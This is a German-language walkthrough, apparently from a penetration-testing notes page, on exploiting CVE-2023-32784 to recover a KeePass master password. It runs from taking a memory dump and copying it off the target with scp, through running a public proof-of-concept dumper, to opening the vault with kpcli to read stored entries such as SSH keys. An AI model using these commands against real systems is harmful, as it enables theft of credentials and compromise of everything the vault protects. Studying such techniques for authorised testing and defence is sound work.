KeePass Master Password Extraction via Memory Dump
Diese Anleitung beschreibt, wie mithilfe eines Speicher-Dumps und eines speziell entwickelten Tools ein KeePass-Master-Passwort extrahiert werden kann. Grundlage ist eine bekannte Schwachstelle (CVE-2023-32784), bei der eingetippte Zeichen im Speicher rekonstruiert werden können.
Betroffene Versionen:
KeePass 2.00 bis 2.53.x – inklusive 2.53.1, getestet unter Windows und Linux .
Nicht betroffen:
KeePass ab 2.54
KeePassXC, KeePass 1.x und mobile Clients
Background: CVE-2023-32784
KeePass speichert bei jeder Eingabe eines Zeichens temporär den Zwischenstand des Passworts im Speicher. Für das Passwort Password
entstehen so u.a. diese Fragmente im Speicher:
•a
••s
•••s
••••w
•••••o
••••••r
•••••••d
Ein Proof-of-Concept (PoC) Tool scannt ein Speicherabbild nach diesen Mustern und schlägt mögliche Passwörter vor.
Schritt 1: KeePass Dump erstellen (unter Windows)
Öffne den Task-Manager
Rechtsklick auf KeePass-Prozess → „Abbilddatei erstellen“
Die Dump-Datei wird z. B. unter
%TEMP%
gespeichertÜbertrage sie mit
scp
oder USB auf dein Linux-System
scp benutzer@zielsystem:/Pfad/zur/KeePassDumpFull.dmp .
Schritt 2: .NET SDK 7.0 unter Linux installieren
wget https://builds.dotnet.microsoft.com/dotnet/Sdk/7.0.410/dotnet-sdk-7.0.410-linux-x64.tar.gz
mkdir -p $HOME/dotnet
tar zxf dotnet-sdk-7.0.410-linux-x64.tar.gz -C $HOME/dotnet
export DOTNET_ROOT=$HOME/dotnet
export PATH=$PATH:$HOME/dotnet
Prüfe die Installation:
dotnet --version
# Erwartet: 7.0.410
Schritt 3: Tool zur Passwortextraktion ausführen
git clone https://github.com/vdohney/keepass-password-dumper.git
cd keepass-password-dumper
dotnet run /pfad/zur/KeePassDumpFull.dmp
Beispielausgabe:
Found probable password: dgrød med fløde
Falls zusätzlich eine Liste aller möglichen Kombinationen generiert werden soll:
dotnet run /pfad/zur/KeePassDumpFull.dmp /pfad/zu/passwords.txt
Schritt 4: KeePass-Datenbank öffnen mit kpcli
kpcli
Installation
sudo apt-get install kpcli -y
Nutzung
kpcli
open /pfad/zur/database.kdbx
# Passwort eingeben: z. B. rødgrød med fløde
Wenn dgrød med fløde
nicht funktioniert, ist es wahrscheinlich ein Tippfehler – durch logische Korrektur des Ergebnisses (z. B. aus Google „rødgrød med fløde“) lässt sich das Passwort oft erraten.
Navigieren und anzeigen:
ls
cd Network
ls
show 0 -f
Du kannst daraus z. B. PuTTY-kompatible SSH-Keys extrahieren.
Fazit
Diese Methode zeigt, wie gefährlich unsicheres Memory Handling bei Passwortfeldern ist. Der Angriff ist realistisch in Post-Exploitation-Szenarien und kann zur vollständigen Kompromittierung führen. Tools wie kpcli
helfen bei der Validierung und Analyse der gewonnenen Zugangsdaten.
Verwende diese Methode ausschließlich in autorisierten Testumgebungen!
Last updated